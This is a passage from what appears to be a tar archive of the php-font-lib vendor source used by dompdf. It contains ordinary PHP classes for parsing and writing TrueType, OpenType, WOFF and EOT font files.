              // encoding form (as surrogate pairs) and do not directly represent
              // characters.
              return false;
            } else {
              $ord = $o; // add char to array
            }
            // reset data for next char
            $bytes = [];
            $numbytes = 1;
          }
      } else {
        $ord = false;
        break;
      }
    }

    return $ord;
  }

  function getTable() {
    $this->parseTableEntries();

    return $this->directory;
  }

  function setTableOffset($offset) {
    $this->tableOffset = $offset;
  }

  function parse() {
    $this->parseTableEntries();

    $this->data = array();

    foreach ($this->directory as $tag => $table) {
      if (empty($this->data[$tag])) {
        $this->readTable($tag);
      }
    }
  }

  function utf8toUnicode($str) {
    $len = mb_strlen($str, '8bit');
    $out = array();

    for ($i = 0; $i < $len; $i++) {
      $uni = -1;
      $h   = ord($str[$i]);

      if ($h <= 0x7F) {
        $uni = $h;
      }
      elseif ($h >= 0xC2) {
        if (($h <= 0xDF) && ($i < $len - 1)) {
          $uni = ($h & 0x1F) << 6 | (ord($str[++$i]) & 0x3F);
        }
        elseif (($h <= 0xEF) && ($i < $len - 2)) {
          $uni = ($h & 0x0F) << 12 | (ord($str[++$i]) & 0x3F) << 6 | (ord($str[++$i]) & 0x3F);
        }
        elseif (($h <= 0xF4) && ($i < $len - 3)) {
          $uni = ($h & 0x0F) << 18 | (ord($str[++$i]) & 0x3F) << 12 | (ord($str[++$i]) & 0x3F) << 6 | (ord($str[++$i]) & 0x3F);
        }
      }

      if ($uni >= 0) {
        $out[] = $uni;
      }
    }

    return $out;
  }

  function getUnicodeCharMap() {
    $subtable = null;
    foreach ($this->getData("cmap", "subtables") as $_subtable) {
      if ($_subtable["platformID"] == 0 || ($_subtable["platformID"] == 3 && $_subtable["platformSpecificID"] == 1)) {
        $subtable = $_subtable;
        break;
      }
    }

    if ($subtable) {
      return $subtable["glyphIndexArray"];
    }

    $system_encodings = mb_list_encodings();
    $system_encodings = array_change_key_case(array_fill_keys($system_encodings, true), CASE_UPPER);
    foreach ($this->getData("cmap", "subtables") as $_subtable) {
      $encoding = null;
      switch ($_subtable["platformID"]) {
        case 3:
          switch ($_subtable["platformSpecificID"]) {
            case 2:
              if (\array_key_exists("SJIS", $system_encodings)) {
                $encoding = "SJIS";
              }
              break;
            case 3:
              if (\array_key_exists("GB18030", $system_encodings)) {
                $encoding = "GB18030";
              }
              break;
            case 4:
              if (\array_key_exists("BIG-5", $system_encodings)) {
                $encoding = "BIG-5";
              }
              break;
            case 5:
              if (\array_key_exists("UHC", $system_encodings)) {
                $encoding = "UHC";
              }
              break;
          }
          break;
      }
      if ($encoding) {
        $glyphIndexArray = array();
        foreach ($_subtable["glyphIndexArray"] as $c => $gid) {
          $str = trim(pack("N", $c));
          if (\strlen($str) > 0) {
            $ord = $this->uniord($str, $encoding);
            if ($ord > 0) {
              $glyphIndexArray[$ord] = $gid;
            }
          }
        }
        return $glyphIndexArray;
      }
    }
    
    return null;
  }

  function setSubset($subset) {
    if (!is_array($subset)) {
      $subset = $this->utf8toUnicode($subset);
    }

    $subset = array_unique($subset);

    $glyphIndexArray = $this->getUnicodeCharMap();

    if (!$glyphIndexArray) {
      return;
    }

    $gids = array(
      0, // .notdef
      1, // .null
    );

    foreach ($subset as $code) {
      if (!isset($glyphIndexArray[$code])) {
        continue;
      }

      $gid        = $glyphIndexArray[$code];
      $gids[$gid] = $gid;
    }

    /** @var glyf $glyf */
    $glyf = $this->getTableObject("glyf");
    if ($glyf) {
      $gids = $glyf->getGlyphIDs($gids);
      sort($gids);
      $this->glyph_subset = $gids;
    }
    $this->glyph_all    = array_values($glyphIndexArray); // FIXME
  }

  function getSubset() {
    if (empty($this->glyph_subset)) {
      return $this->glyph_all;
    }

    return $this->glyph_subset;
  }

  function encode($tags = array()) {
    if (!self::$raw) {
      $tags = array_merge(array("head", "hhea", "cmap", "hmtx", "maxp", "glyf", "loca", "name", "post", "cvt ", "fpgm", "prep"), $tags);
    }
    else {
      $tags = array_keys($this->directory);
    }

    $n          = 16; // @todo

    Font::d("Tables : " . implode(", ", $tags));

    /** @var DirectoryEntry[] $entries */
    $entries = array();
    foreach ($tags as $tag) {
      if (!isset($this->directory[$tag])) {
        Font::d("  >> '$tag' table doesn't exist");
        continue;
      }

      $entries[$tag] = $this->directory[$tag];
    }

    $num_tables = count($entries);
    $exponent = floor(log($num_tables, 2));
    $power_of_two = pow(2, $exponent);

    $this->header->data["numTables"] = $num_tables;
    $this->header->data["searchRange"] = $power_of_two * 16;
    $this->header->data["entrySelector"] = log($power_of_two, 2);
    $this->header->data["rangeShift"] = $num_tables * 16 - $this->header->data["searchRange"];
    $this->header->encode();

    $directory_offset = $this->pos();
    $offset           = $directory_offset + $num_tables * $n;
    $this->seek($offset);

    $i = 0;
    foreach ($entries as $entry) {
      $entry->encode($directory_offset + $i * $n);
      $i++;
    }
  }

  function parseHeader() {
    if (!empty($this->header)) {
      return;
    }

    $this->seek($this->tableOffset);

    $this->header = new Header($this);
    $this->header->parse();
  }

  function getFontType(){
    $class_parts = explode("\\", get_class($this));
    return $class_parts[1];
  }

  function parseTableEntries() {
    $this->parseHeader();

    if (!empty($this->directory)) {
      return;
    }

    if (empty($this->header->data["numTables"])) {
      return;
    }


    $type = $this->getFontType();
    $class = "FontLib\\$type\\TableDirectoryEntry";

    for ($i = 0; $i < $this->header->data["numTables"]; $i++) {
      /** @var TableDirectoryEntry $entry */
      $entry = new $class($this);
      $entry->parse();

      $this->directory[$entry->tag] = $entry;
    }
  }

  function normalizeFUnit($value, $base = 1000) {
    return round($value * ($base / $this->getData("head", "unitsPerEm")));
  }

  protected function readTable($tag) {
    $this->parseTableEntries();

    if (!self::$raw) {
      $name_canon = preg_replace("/[^a-z0-9]/", "", strtolower($tag));

      $class = "FontLib\\Table\\Type\\$name_canon";

      if (!isset($this->directory[$tag]) || !@class_exists($class)) {
        return;
      }
    }
    else {
      $class = "FontLib\\Table\\Table";
    }

    /** @var Table $table */
    $table = new $class($this->directory[$tag]);
    $table->parse();

    $this->data[$tag] = $table;
  }

  /**
   * @param $name
   *
   * @return Table
   */
  public function getTableObject($name) {
    if (\array_key_exists($name, $this->data)) {
      return $this->data[$name];
    }
    return null;
  }

  public function setTableObject($name, Table $data) {
    $this->data[$name] = $data;
  }

  public function getData($name, $key = null) {
    $this->parseTableEntries();

    if (empty($this->data[$name])) {
      $this->readTable($name);
    }

    if (!isset($this->data[$name])) {
      return null;
    }

    if (!$key) {
      return $this->data[$name]->data;
    }
    else {
      return $this->data[$name]->data[$key];
    }
  }

  function addDirectoryEntry(DirectoryEntry $entry) {
    $this->directory[$entry->tag] = $entry;
  }

  function saveAdobeFontMetrics($file, $encoding = null) {
    $afm = new AdobeFontMetrics($this);
    $afm->write($file, $encoding);
  }

  /**
   * Get a specific name table string value from its ID
   *
   * @param int $nameID The name ID
   *
   * @return string|null
   */
  function getNameTableString($nameID) {
    /** @var nameRecord[] $records */
    $records = $this->getData("name", "records");

    if (!isset($records[$nameID])) {
      return null;
    }

    return $records[$nameID]->string;
  }

  /**
   * Get font copyright
   *
   * @return string|null
   */
  function getFontCopyright() {
    return $this->getNameTableString(name::NAME_COPYRIGHT);
  }

  /**
   * Get font name
   *
   * @return string|null
   */
  function getFontName() {
    return $this->getNameTableString(name::NAME_NAME);
  }

  /**
   * Get font subfamily
   *
   * @return string|null
   */
  function getFontSubfamily() {
    return $this->getNameTableString(name::NAME_SUBFAMILY);
  }

  /**
   * Get font subfamily ID
   *
   * @return string|null
   */
  function getFontSubfamilyID() {
    return $this->getNameTableString(name::NAME_SUBFAMILY_ID);
  }

  /**
   * Get font full name
   *
   * @return string|null
   */
  function getFontFullName() {
    return $this->getNameTableString(name::NAME_FULL_NAME);
  }

  /**
   * Get font version
   *
   * @return string|null
   */
  function getFontVersion() {
    return $this->getNameTableString(name::NAME_VERSION);
  }

  /**
   * Get font weight
   *
   * @return string|null
   */
  function getFontWeight() {
    return $this->getTableObject("OS/2")->data["usWeightClass"];
  }

  /**
   * Get font Postscript name
   *
   * @return string|null
   */
  function getFontPostscriptName() {
    return $this->getNameTableString(name::NAME_POSTSCRIPT_NAME);
  }

  function reduce() {
    $names_to_keep = array(
      name::NAME_COPYRIGHT,
      name::NAME_NAME,
      name::NAME_SUBFAMILY,
      name::NAME_SUBFAMILY_ID,
      name::NAME_FULL_NAME,
      name::NAME_VERSION,
      name::NAME_POSTSCRIPT_NAME,
    );

    foreach ($this->data["name"]->data["records"] as $id => $rec) {
      if (!in_array($id, $names_to_keep)) {
        unset($this->data["name"]->data["records"][$id]);
      }
    }
  }
}
vendor/dompdf/php-font-lib/src/FontLib/TrueType/Collection.php000066600000003521151150442750020333 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\TrueType;

use Countable;
use FontLib\BinaryStream;
use Iterator;
use OutOfBoundsException;

/**
 * TrueType collection font file.
 *
 * @package php-font-lib
 */
class Collection extends BinaryStream implements Iterator, Countable {
  /**
   * Current iterator position.
   *
   * @var integer
   */
  private $position = 0;

  protected $collectionOffsets = array();
  protected $collection = array();
  protected $version;
  protected $numFonts;

  function parse() {
    if (isset($this->numFonts)) {
      return;
    }

    $this->read(4); // tag name

    $this->version  = $this->readFixed();
    $this->numFonts = $this->readUInt32();

    for ($i = 0; $i < $this->numFonts; $i++) {
      $this->collectionOffsets[] = $this->readUInt32();
    }
  }

  /**
   * @param int $fontId
   *
   * @throws OutOfBoundsException
   * @return File
   */
  function getFont($fontId) {
    $this->parse();

    if (!isset($this->collectionOffsets[$fontId])) {
      throw new OutOfBoundsException();
    }

    if (isset($this->collection[$fontId])) {
      return $this->collection[$fontId];
    }

    $font    = new File();
    $font->f = $this->f;
    $font->setTableOffset($this->collectionOffsets[$fontId]);

    return $this->collection[$fontId] = $font;
  }

  function current() {
    return $this->getFont($this->position);
  }

  function key() {
    return $this->position;
  }

  function next() {
    return ++$this->position;
  }

  function rewind() {
    $this->position = 0;
  }

  function valid() {
    $this->parse();

    return isset($this->collectionOffsets[$this->position]);
  }

  function count() {
    $this->parse();

    return $this->numFonts;
  }
}
vendor/dompdf/php-font-lib/src/FontLib/WOFF/Header.php000066600000001462151150442750016412 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\WOFF;

/**
 * WOFF font file header.
 *
 * @package php-font-lib
 */
class Header extends \FontLib\TrueType\Header {
  protected $def = array(
    "format"         => self::uint32,
    "flavor"         => self::uint32,
    "length"         => self::uint32,
    "numTables"      => self::uint16,
    self::uint16,
    "totalSfntSize"  => self::uint32,
    "majorVersion"   => self::uint16,
    "minorVersion"   => self::uint16,
    "metaOffset"     => self::uint32,
    "metaLength"     => self::uint32,
    "metaOrigLength" => self::uint32,
    "privOffset"     => self::uint32,
    "privLength"     => self::uint32,
  );
}vendor/dompdf/php-font-lib/src/FontLib/WOFF/TableDirectoryEntry.php000066600000001330151150442750021152 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\WOFF;

use FontLib\Table\DirectoryEntry;

/**
 * WOFF font file table directory entry.
 *
 * @package php-font-lib
 */
class TableDirectoryEntry extends DirectoryEntry {
  public $origLength;

  function __construct(File $font) {
    parent::__construct($font);
  }

  function parse() {
    parent::parse();

    $font             = $this->font;
    $this->offset     = $font->readUInt32();
    $this->length     = $font->readUInt32();
    $this->origLength = $font->readUInt32();
    $this->checksum   = $font->readUInt32();
  }
}
vendor/dompdf/php-font-lib/src/FontLib/WOFF/File.php000066600000003625151150442750016104 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\WOFF;

use FontLib\Table\DirectoryEntry;

/**
 * WOFF font file.
 *
 * @package php-font-lib
 *
 * @property TableDirectoryEntry[] $directory
 */
class File extends \FontLib\TrueType\File {
  function parseHeader() {
    if (!empty($this->header)) {
      return;
    }

    $this->header = new Header($this);
    $this->header->parse();
  }

  public function load($file) {
    parent::load($file);

    $this->parseTableEntries();
    $dataOffset = $this->pos() + count($this->directory) * 20;

    $fw = $this->getTempFile(false);
    $fr = $this->f;

    $this->f = $fw;
    $offset  = $this->header->encode();

    foreach ($this->directory as $entry) {
      // Read ...
      $this->f = $fr;
      $this->seek($entry->offset);
      $data = $this->read($entry->length);

      if ($entry->length < $entry->origLength) {
        $data = (string) gzuncompress($data);
      }

      // Prepare data ...
      $length        = mb_strlen($data, '8bit');
      $entry->length = $entry->origLength = $length;
      $entry->offset = $dataOffset;

      // Write ...
      $this->f = $fw;

      // Woff Entry
      $this->seek($offset);
      $offset += $this->write($entry->tag, 4); // tag
      $offset += $this->writeUInt32($dataOffset); // offset
      $offset += $this->writeUInt32($length); // length
      $offset += $this->writeUInt32($length); // origLength
      $offset += $this->writeUInt32(DirectoryEntry::computeChecksum($data)); // checksum

      // Data
      $this->seek($dataOffset);
      $dataOffset += $this->write($data, $length);
    }

    $this->f = $fw;
    $this->seek(0);

    // Need to re-parse this, don't know why
    $this->header    = null;
    $this->directory = array();
    $this->parseTableEntries();
  }
}
vendor/dompdf/php-font-lib/src/FontLib/BinaryStream.php000066600000023430151150442750017060 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib;

/**
 * Generic font file binary stream.
 *
 * @package php-font-lib
 */
class BinaryStream {
  /**
   * @var resource The file pointer
   */
  protected $f;

  const uint8        = 1;
  const  int8        = 2;
  const uint16       = 3;
  const  int16       = 4;
  const uint32       = 5;
  const  int32       = 6;
  const shortFrac    = 7;
  const Fixed        = 8;
  const  FWord       = 9;
  const uFWord       = 10;
  const F2Dot14      = 11;
  const longDateTime = 12;
  const char         = 13;

  const modeRead      = "rb";
  const modeWrite     = "wb";
  const modeReadWrite = "rb+";

  static function backtrace() {
    var_dump(debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS));
  }

  /**
   * Open a font file in read mode
   *
   * @param string $filename The file name of the font to open
   *
   * @return bool
   */
  public function load($filename) {
    return $this->open($filename, self::modeRead);
  }

  /**
   * Open a font file in a chosen mode
   *
   * @param string $filename The file name of the font to open
   * @param string $mode     The opening mode
   *
   * @throws \Exception
   * @return bool
   */
  public function open($filename, $mode = self::modeRead) {
    if (!in_array($mode, array(self::modeRead, self::modeWrite, self::modeReadWrite))) {
      throw new \Exception("Unknown file open mode");
    }

    $this->f = fopen($filename, $mode);

    return $this->f != false;
  }

  /**
   * Close the internal file pointer
   */
  public function close() {
    return fclose($this->f) != false;
  }

  /**
   * Change the internal file pointer
   *
   * @param resource $fp
   *
   * @throws \Exception
   */
  public function setFile($fp) {
    if (!is_resource($fp)) {
      throw new \Exception('$fp is not a valid resource');
    }

    $this->f = $fp;
  }

  /**
   * Create a temporary file in write mode
   *
   * @param bool $allow_memory Allow in-memory files
   *
   * @return resource the temporary file pointer resource
   */
  public static function getTempFile($allow_memory = true) {
    $f = null;

    if ($allow_memory) {
      $f = fopen("php://temp", "rb+");
    }
    else {
      $f = fopen(tempnam(sys_get_temp_dir(), "fnt"), "rb+");
    }

    return $f;
  }

  /**
   * Move the internal file pinter to $offset bytes
   *
   * @param int $offset
   *
   * @return bool True if the $offset position exists in the file
   */
  public function seek($offset) {
    return fseek($this->f, $offset, SEEK_SET) == 0;
  }

  /**
   * Gives the current position in the file
   *
   * @return int The current position
   */
  public function pos() {
    return ftell($this->f);
  }

  public function skip($n) {
    fseek($this->f, $n, SEEK_CUR);
  }

  /**
   * @param int $n The number of bytes to read
   *
   * @return string
   */
  public function read($n) {
    if ($n < 1) {
      return "";
    }

    return (string) fread($this->f, $n);
  }

  public function write($data, $length = null) {
    if ($data === null || $data === "" || $data === false) {
      return 0;
    }

    return fwrite($this->f, $data, $length);
  }

  public function readUInt8() {
    return ord($this->read(1));
  }

  public function readUInt8Many($count) {
    return array_values(unpack("C*", $this->read($count)));
  }

  public function writeUInt8($data) {
    return $this->write(chr($data), 1);
  }

  public function readInt8() {
    $v = $this->readUInt8();

    if ($v >= 0x80) {
      $v -= 0x100;
    }

    return $v;
  }

  public function readInt8Many($count) {
    return array_values(unpack("c*", $this->read($count)));
  }

  public function writeInt8($data) {
    if ($data < 0) {
      $data += 0x100;
    }

    return $this->writeUInt8($data);
  }

  public function readUInt16() {
    $a = unpack("nn", $this->read(2));

    return $a["n"];
  }

  public function readUInt16Many($count) {
    return array_values(unpack("n*", $this->read($count * 2)));
  }

  public function readUFWord() {
    return $this->readUInt16();
  }

  public function writeUInt16($data) {
    return $this->write(pack("n", $data), 2);
  }

  public function writeUFWord($data) {
    return $this->writeUInt16($data);
  }

  public function readInt16() {
    $a = unpack("nn", $this->read(2));
    $v = $a["n"];

    if ($v >= 0x8000) {
      $v -= 0x10000;
    }

    return $v;
  }

  public function readInt16Many($count) {
    $vals = array_values(unpack("n*", $this->read($count * 2)));
    foreach ($vals as &$v) {
      if ($v >= 0x8000) {
        $v -= 0x10000;
      }
    }

    return $vals;
  }

  public function readFWord() {
    return $this->readInt16();
  }

  public function writeInt16($data) {
    if ($data < 0) {
      $data += 0x10000;
    }

    return $this->writeUInt16($data);
  }

  public function writeFWord($data) {
    return $this->writeInt16($data);
  }

  public function readUInt32() {
    $a = unpack("NN", $this->read(4));

    return $a["N"];
  }

  public function writeUInt32($data) {
    return $this->write(pack("N", $data), 4);
  }

  public function readFixed() {
    $d  = $this->readInt16();
    $d2 = $this->readUInt16();

    return round($d + $d2 / 0x10000, 4);
  }

  public function writeFixed($data) {
    $left  = floor($data);
    $right = ($data - $left) * 0x10000;

    return $this->writeInt16($left) + $this->writeUInt16($right);
  }

  public function readLongDateTime() {
    $this->readUInt32(); // ignored
    $date = $this->readUInt32() - 2082844800;
    
    # PHP_INT_MIN isn't defined in PHP < 7.0
    $php_int_min = defined("PHP_INT_MIN") ? PHP_INT_MIN : ~PHP_INT_MAX;

    if (is_string($date) || $date > PHP_INT_MAX || $date < $php_int_min) {
      $date = 0;
    }

    return date("Y-m-d H:i:s", $date);
  }

  public function writeLongDateTime($data) {
    $date = strtotime($data);
    $date += 2082844800;

    return $this->writeUInt32(0) + $this->writeUInt32($date);
  }

  public function unpack($def) {
    $d = array();
    foreach ($def as $name => $type) {
      $d[$name] = $this->r($type);
    }

    return $d;
  }

  public function pack($def, $data) {
    $bytes = 0;
    foreach ($def as $name => $type) {
      $bytes += $this->w($type, $data[$name]);
    }

    return $bytes;
  }

  /**
   * Read a data of type $type in the file from the current position
   *
   * @param mixed $type The data type to read
   *
   * @return mixed The data that was read
   */
  public function r($type) {
    switch ($type) {
      case self::uint8:
        return $this->readUInt8();
      case self::int8:
        return $this->readInt8();
      case self::uint16:
        return $this->readUInt16();
      case self::int16:
        return $this->readInt16();
      case self::uint32:
        return $this->readUInt32();
      case self::int32:
        return $this->readUInt32();
      case self::shortFrac:
        return $this->readFixed();
      case self::Fixed:
        return $this->readFixed();
      case self::FWord:
        return $this->readInt16();
      case self::uFWord:
        return $this->readUInt16();
      case self::F2Dot14:
        return $this->readInt16();
      case self::longDateTime:
        return $this->readLongDateTime();
      case self::char:
        return $this->read(1);
      default:
        if (is_array($type)) {
          if ($type[0] == self::char) {
            return $this->read($type[1]);
          }
          if ($type[0] == self::uint16) {
            return $this->readUInt16Many($type[1]);
          }
          if ($type[0] == self::int16) {
            return $this->readInt16Many($type[1]);
          }
          if ($type[0] == self::uint8) {
            return $this->readUInt8Many($type[1]);
          }
          if ($type[0] == self::int8) {
            return $this->readInt8Many($type[1]);
          }

          $ret = array();
          for ($i = 0; $i < $type[1]; $i++) {
            $ret[] = $this->r($type[0]);
          }

          return $ret;
        }

        return null;
    }
  }

  /**
   * Write $data of type $type in the file from the current position
   *
   * @param mixed $type The data type to write
   * @param mixed $data The data to write
   *
   * @return int The number of bytes read
   */
  public function w($type, $data) {
    switch ($type) {
      case self::uint8:
        return $this->writeUInt8($data);
      case self::int8:
        return $this->writeInt8($data);
      case self::uint16:
        return $this->writeUInt16($data);
      case self::int16:
        return $this->writeInt16($data);
      case self::uint32:
        return $this->writeUInt32($data);
      case self::int32:
        return $this->writeUInt32($data);
      case self::shortFrac:
        return $this->writeFixed($data);
      case self::Fixed:
        return $this->writeFixed($data);
      case self::FWord:
        return $this->writeInt16($data);
      case self::uFWord:
        return $this->writeUInt16($data);
      case self::F2Dot14:
        return $this->writeInt16($data);
      case self::longDateTime:
        return $this->writeLongDateTime($data);
      case self::char:
        return $this->write($data, 1);
      default:
        if (is_array($type)) {
          if ($type[0] == self::char) {
            return $this->write($data, $type[1]);
          }

          $ret = 0;
          for ($i = 0; $i < $type[1]; $i++) {
            if (isset($data[$i])) {
              $ret += $this->w($type[0], $data[$i]);
            }
          }

          return $ret;
        }

        return null;
    }
  }

  /**
   * Converts a Uint32 value to string
   *
   * @param int $uint32
   *
   * @return string The string
   */
  public function convertUInt32ToStr($uint32) {
    return chr(($uint32 >> 24) & 0xFF) . chr(($uint32 >> 16) & 0xFF) . chr(($uint32 >> 8) & 0xFF) . chr($uint32 & 0xFF);
  }
}
vendor/dompdf/php-font-lib/src/FontLib/OpenType/TableDirectoryEntry.php000066600000000577151150442750022170 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\OpenType;

/**
 * Open Type Table directory entry, the same as a TrueType one.
 *
 * @package php-font-lib
 */
class TableDirectoryEntry extends \FontLib\TrueType\TableDirectoryEntry {

}
vendor/dompdf/php-font-lib/src/FontLib/OpenType/File.php000066600000000524151150442750017101 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\OpenType;

/**
 * Open Type font, the same as a TrueType one.
 *
 * @package php-font-lib
 */
class File extends \FontLib\TrueType\File {
  //
}
vendor/dompdf/php-font-lib/src/FontLib/Font.php000066600000003225151150442750015366 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib;

use FontLib\Exception\FontNotFoundException;

/**
 * Generic font file.
 *
 * @package php-font-lib
 */
class Font {
  static $debug = false;

  /**
   * @param string $file The font file
   *
   * @return TrueType\File|null $file
   */
  public static function load($file) {
      if(!file_exists($file)){
          throw new FontNotFoundException($file);
      }

    $header = file_get_contents($file, false, null, 0, 4);
    $class  = null;

    switch ($header) {
      case "\x00\x01\x00\x00":
      case "true":
      case "typ1":
        $class = "TrueType\\File";
        break;

      case "OTTO":
        $class = "OpenType\\File";
        break;

      case "wOFF":
        $class = "WOFF\\File";
        break;

      case "ttcf":
        $class = "TrueType\\Collection";
        break;

      // Unknown type or EOT
      default:
        $magicNumber = file_get_contents($file, false, null, 34, 2);

        if ($magicNumber === "LP") {
          $class = "EOT\\File";
        }
    }

    if ($class) {
      $class = "FontLib\\$class";

      /** @var TrueType\File $obj */
      $obj = new $class;
      $obj->load($file);

      return $obj;
    }

    return null;
  }

  static function d($str) {
    if (!self::$debug) {
      return;
    }
    echo "$str\n";
  }

  static function UTF16ToUTF8($str) {
    return mb_convert_encoding($str, "utf-8", "utf-16");
  }

  static function UTF8ToUTF16($str) {
    return mb_convert_encoding($str, "utf-16", "utf-8");
  }
}
vendor/dompdf/php-font-lib/src/FontLib/EncodingMap.php000066600000001415151150442750016643 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib;

/**
 * Encoding map used to map a code point to a Unicode char.
 *
 * @package php-font-lib
 */
class EncodingMap {
  private $f;

  function __construct($file) {
    $this->f = fopen($file, "r");
  }

  function parse() {
    $map = array();

    while ($line = fgets($this->f)) {
      if (preg_match('/^[\!\=]([0-9A-F]{2,})\s+U\+([0-9A-F]{2})([0-9A-F]{2})\s+([^\s]+)/', $line, $matches)) {
        $unicode = (hexdec($matches[2]) << 8) + hexdec($matches[3]);
        $map[hexdec($matches[1])] = array($unicode, $matches[4]);
      }
    }

    ksort($map);

    return $map;
  }
}
vendor/dompdf/php-font-lib/src/FontLib/EOT/Header.php000066600000006241151150442750016300 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\EOT;

use Exception;
use FontLib\Font;

/**
 * TrueType font file header.
 *
 * @package php-font-lib
 *
 * @property File $font
 */
class Header extends \FontLib\Header {
  protected $def = array(
    "format"        => self::uint32,
    "numTables"     => self::uint16,
    "searchRange"   => self::uint16,
    "entrySelector" => self::uint16,
    "rangeShift"    => self::uint16,
  );

  public function parse() {
    $font = $this->font;

    $this->data = $font->unpack(array(
      "EOTSize"            => self::uint32,
      "FontDataSize"       => self::uint32,
      "Version"            => self::uint32,
      "Flags"              => self::uint32,
      "FontPANOSE"         => array(self::uint8, 10),
      "Charset"            => self::uint8,
      "Italic"             => self::uint8,
      "Weight"             => self::uint32,
      "fsType"             => self::uint16,
      "MagicNumber"        => self::uint16,
      "UnicodeRange1"      => self::uint32,
      "UnicodeRange2"      => self::uint32,
      "UnicodeRange3"      => self::uint32,
      "UnicodeRange4"      => self::uint32,
      "CodePageRange1"     => self::uint32,
      "CodePageRange2"     => self::uint32,
      "CheckSumAdjustment" => self::uint32,
      "Reserved1"          => self::uint32,
      "Reserved2"          => self::uint32,
      "Reserved3"          => self::uint32,
      "Reserved4"          => self::uint32,
    ));

    $this->data["Padding1"] = $font->readUInt16();
    $this->readString("FamilyName");

    $this->data["Padding2"] = $font->readUInt16();
    $this->readString("StyleName");

    $this->data["Padding3"] = $font->readUInt16();
    $this->readString("VersionName");

    $this->data["Padding4"] = $font->readUInt16();
    $this->readString("FullName");

    switch ($this->data["Version"]) {
      default:
        throw new Exception("Unknown EOT version " . $this->data["Version"]);

      case 0x00010000:
        // Nothing to do more
        break;

      case 0x00020001:
        $this->data["Padding5"] = $font->readUInt16();
        $this->readString("RootString");
        break;

      case 0x00020002:
        $this->data["Padding5"] = $font->readUInt16();
        $this->readString("RootString");

        $this->data["RootStringCheckSum"] = $font->readUInt32();
        $this->data["EUDCCodePage"]       = $font->readUInt32();

        $this->data["Padding6"] = $font->readUInt16();
        $this->readString("Signature");

        $this->data["EUDCFlags"]    = $font->readUInt32();
        $this->data["EUDCFontSize"] = $font->readUInt32();
        break;
    }

    if (!empty($this->data["RootString"])) {
      $this->data["RootString"] = explode("\0", $this->data["RootString"]);
    }
  }

  private function readString($name) {
    $font = $this->font;
    $size = $font->readUInt16();

    $this->data["{$name}Size"] = $size;
    $this->data[$name]         = Font::UTF16ToUTF8($font->read($size));
  }

  public function encode() {
    //return $this->font->pack($this->def, $this->data);
  }
}vendor/dompdf/php-font-lib/src/FontLib/EOT/File.php000066600000006402151150442750015766 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\EOT;

/**
 * EOT font file.
 *
 * @package php-font-lib
 */
class File extends \FontLib\TrueType\File {
  const TTEMBED_SUBSET                   = 0x00000001;
  const TTEMBED_TTCOMPRESSED             = 0x00000004;
  const TTEMBED_FAILIFVARIATIONSIMULATED = 0x00000010;
  const TTMBED_EMBEDEUDC                 = 0x00000020;
  const TTEMBED_VALIDATIONTESTS          = 0x00000040; // Deprecated
  const TTEMBED_WEBOBJECT      = 0x00000080;
  const TTEMBED_XORENCRYPTDATA = 0x10000000;

  /**
   * @var Header
   */
  public $header;

  function parseHeader() {
    if (!empty($this->header)) {
      return;
    }

    $this->header = new Header($this);
    $this->header->parse();
  }

  function parse() {
    $this->parseHeader();

    $flags = $this->header->data["Flags"];

    if ($flags & self::TTEMBED_TTCOMPRESSED) {
      $mtx_version    = $this->readUInt8();
      $mtx_copy_limit = $this->readUInt8() << 16 | $this->readUInt8() << 8 | $this->readUInt8();
      $mtx_offset_1   = $this->readUInt8() << 16 | $this->readUInt8() << 8 | $this->readUInt8();
      $mtx_offset_2   = $this->readUInt8() << 16 | $this->readUInt8() << 8 | $this->readUInt8();
      /*
      var_dump("$mtx_version $mtx_copy_limit $mtx_offset_1 $mtx_offset_2");

      $pos = $this->pos();
      $size = $mtx_offset_1 - $pos;
      var_dump("pos: $pos");
      var_dump("size: $size");*/
    }

    if ($flags & self::TTEMBED_XORENCRYPTDATA) {
      // Process XOR
    }
    // TODO Read font data ...
  }

  /**
   * Little endian version of the read method
   *
   * @param int $n The number of bytes to read
   *
   * @return string
   */
  public function read($n) {
    if ($n < 1) {
      return "";
    }

    $string = (string) fread($this->f, $n);
    $chunks = mb_str_split($string, 2, '8bit');
    $chunks = array_map("strrev", $chunks);
    return implode("", $chunks);
  }

  public function readUInt32() {
    $uint32 = parent::readUInt32();

    return $uint32 >> 16 & 0x0000FFFF | $uint32 << 16 & 0xFFFF0000;
  }

  /**
   * Get font copyright
   *
   * @return string|null
   */
  function getFontCopyright() {
    return null;
  }

  /**
   * Get font name
   *
   * @return string|null
   */
  function getFontName() {
    return $this->header->data["FamilyName"];
  }

  /**
   * Get font subfamily
   *
   * @return string|null
   */
  function getFontSubfamily() {
    return $this->header->data["StyleName"];
  }

  /**
